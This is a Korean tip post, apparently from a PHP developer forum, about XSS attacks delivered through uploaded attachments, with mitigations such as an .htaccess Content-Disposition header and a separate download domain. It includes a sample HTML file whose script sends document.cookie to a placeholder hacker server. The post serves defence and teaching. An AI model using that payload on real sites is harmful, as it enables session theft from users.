게시판에 글을 쓸 때 <script> 태그나 onclick 속성 등을 사용하여
임의의 자바스크립트를 실행시키도록 하는 XSS 공격에 대해서는 다들 한번씩 들어보셨겠지요?
그래서 대부분의 솔루션들이 <script> 태그와 각종 이벤트 속성들을 필터링하는 기능을 내장하고 있고요.
참고: http://www.phpschool.com/link/tipntech/77221
그러나 게시물 내용에서 <script> 태그 등을 필터링한다고 XSS 취약점이 완전 봉쇄되지는 않습니다.
게시물 내용 외에도 XSS 공격에 사용될 수 있는 것이 하나 더 있거든요.
바로 첨부파일입니다.
만약 아래와 같은 내용을 만들어 test.html이라는 파일명으로 업로드한다면?
<html>
<head>
<title>메롱</title>
</head>
<body>
<script type="text/javascript">
var img = document.createElement("img");
img.src = "http://해커서버/lolcat.jpg?cookie=" + document.cookie;
</script>
<p>너의 쿠키는 내가 접수했다. 음하하하!</p>
</body>
</html>
해당 첨부파일을 클릭하면 위의 웹페이지가 표시되면서 여러분의 쿠키는 해커의 서버로 죄다 전송되겠죠?
게시물 내용을 필터링하는 솔루션은 많지만, 첨부파일 내용까지 필터링하지는 않으니까요.
이런 문제를 막는 방법에는 몇 가지가 있습니다.
1. GIF, JPG, PNG, BMP 등의 이미지파일 외에는 업로드 금지하는 방법이 가장 쉽죠.
만약 게시판에 이런 기능이 있고 제대로 사용중이시라면 일단 한숨 놓으셔도 됩니다.
그러나 만약 똑똑한 해커가 위의 내용과 같은 HTML 문서를 확장자만 GIF로 바꿔서 업로드한다면?
GIF 포맷의 특성상, 이렇게 변조된 파일도 정상적인 이미지처럼 보일 수 있습니다.
게다가 익스플로러 일부 버전은 파일 확장자가 아니라 내용을 직접 뜯어보고 화면 표시 방법을 결정하는
이상한 습관이 있어요. 따라서 이미지파일만 허용한다고 문제가 해결되지는 않습니다.
2. 업로드 폴더의 .htaccess에 아래의 내용을 추가합니다.
이렇게 하면 이미지파일, HTML 문서 등 평소에는 브라우저에서 그대로 표시하는 파일들도
그냥 강제로 다운로드 창을 띄워버립니다. (단, <img> 태그로 불러온 경우에는 멀쩡하게 표시돼요.)
일단 사용자의 PC로 다운로드된 파일은 더이상 쿠키에 접근할 수 없으므로 XSS 공격은 무용지물이 됩니다.
<IfModule mod_headers.c>
Header set Content-Disposition attachment
</IfModule>
아파치의 <FilesMatch> 기능을 사용하면 특정 확장자만 저렇게 처리하도록 할 수도 있지만,
위에서 말씀드렸듯이 확장자만으로 필터링하는 것은 안전하지 않습니다.
따라서 업로드 폴더내의 모든 파일에 일괄 적용하는 것을 권장합니다.
3. 가장 확실한 방법은 첨부파일을 다운로드할 때 별도의 도메인을 사용하도록 하는 방법입니다.
다른 도메인끼리는 서로의 쿠키에 접근할 수 없으니까요.
예를 들어 구글 사용자들이 업로드한 파일은 엄청난 양의 쿠키를 보유한 google.com 도메인이 아니라
googleusercontent.com이라는 별도의 도메인에서 다운로드하도록 되어 있습니다.
단, 서브도메인이 아니라 이렇게 완전히 다른 도메인을 쓰셔야 합니다.
설정에 따라 서브도메인끼리는 쿠키가 공유되기도 하거든요.
그래서 도메인 하나만 쓰시는 웹사이트라면 좀 부담스러운 방법입니다.
4. 반드시 같은 도메인에서 HTML 파일을 직접 표시해야 하는 희귀한 경우라면 (실제로 이런 경우가 있음? 뭥미?)
<script>를 비롯한 여러가지 태그 및 속성 필터링 기능을 첨부파일에도 반드시 적용하셔야 합니다.
이건 완전 캐삽질이므로 정말 미쳐보고 싶은 분들만 해보세요.
단, 멀쩡한 이미지파일이나 압축파일까지 필터링을 시도할 경우 파일이 깨지는 수가 있으므로 주의.
※ 업로드 폴더에서 PHP 웹쉘 실행을 봉쇄하는 기능과 함께 사용하시면 더욱 좋습니다.
http://www.phpschool.com/link/tipntech/77681
내 서버에 다른 사람이 파일을 업로드할 수 있도록 허용한다는 건 이래저래 매우 위험한 일입니다.
평소에는 별다른 해를 끼치지 않는 파일 형식이라도 서버 환경에서는 갑자기 실행파일로 돌변할 수 있거든요.
따라서 업로드는 반드시 한 군데에 모아놓고 (폴더 탈출을 막기 위해 꼭 basename 함수를 사용하세요.)
.htaccess를 사용하여 해당 폴더에 여러가지 제한을 걸어놓는 것이 안전합니다.
출처 : http://www.phpschool.com/link/tipntech/78863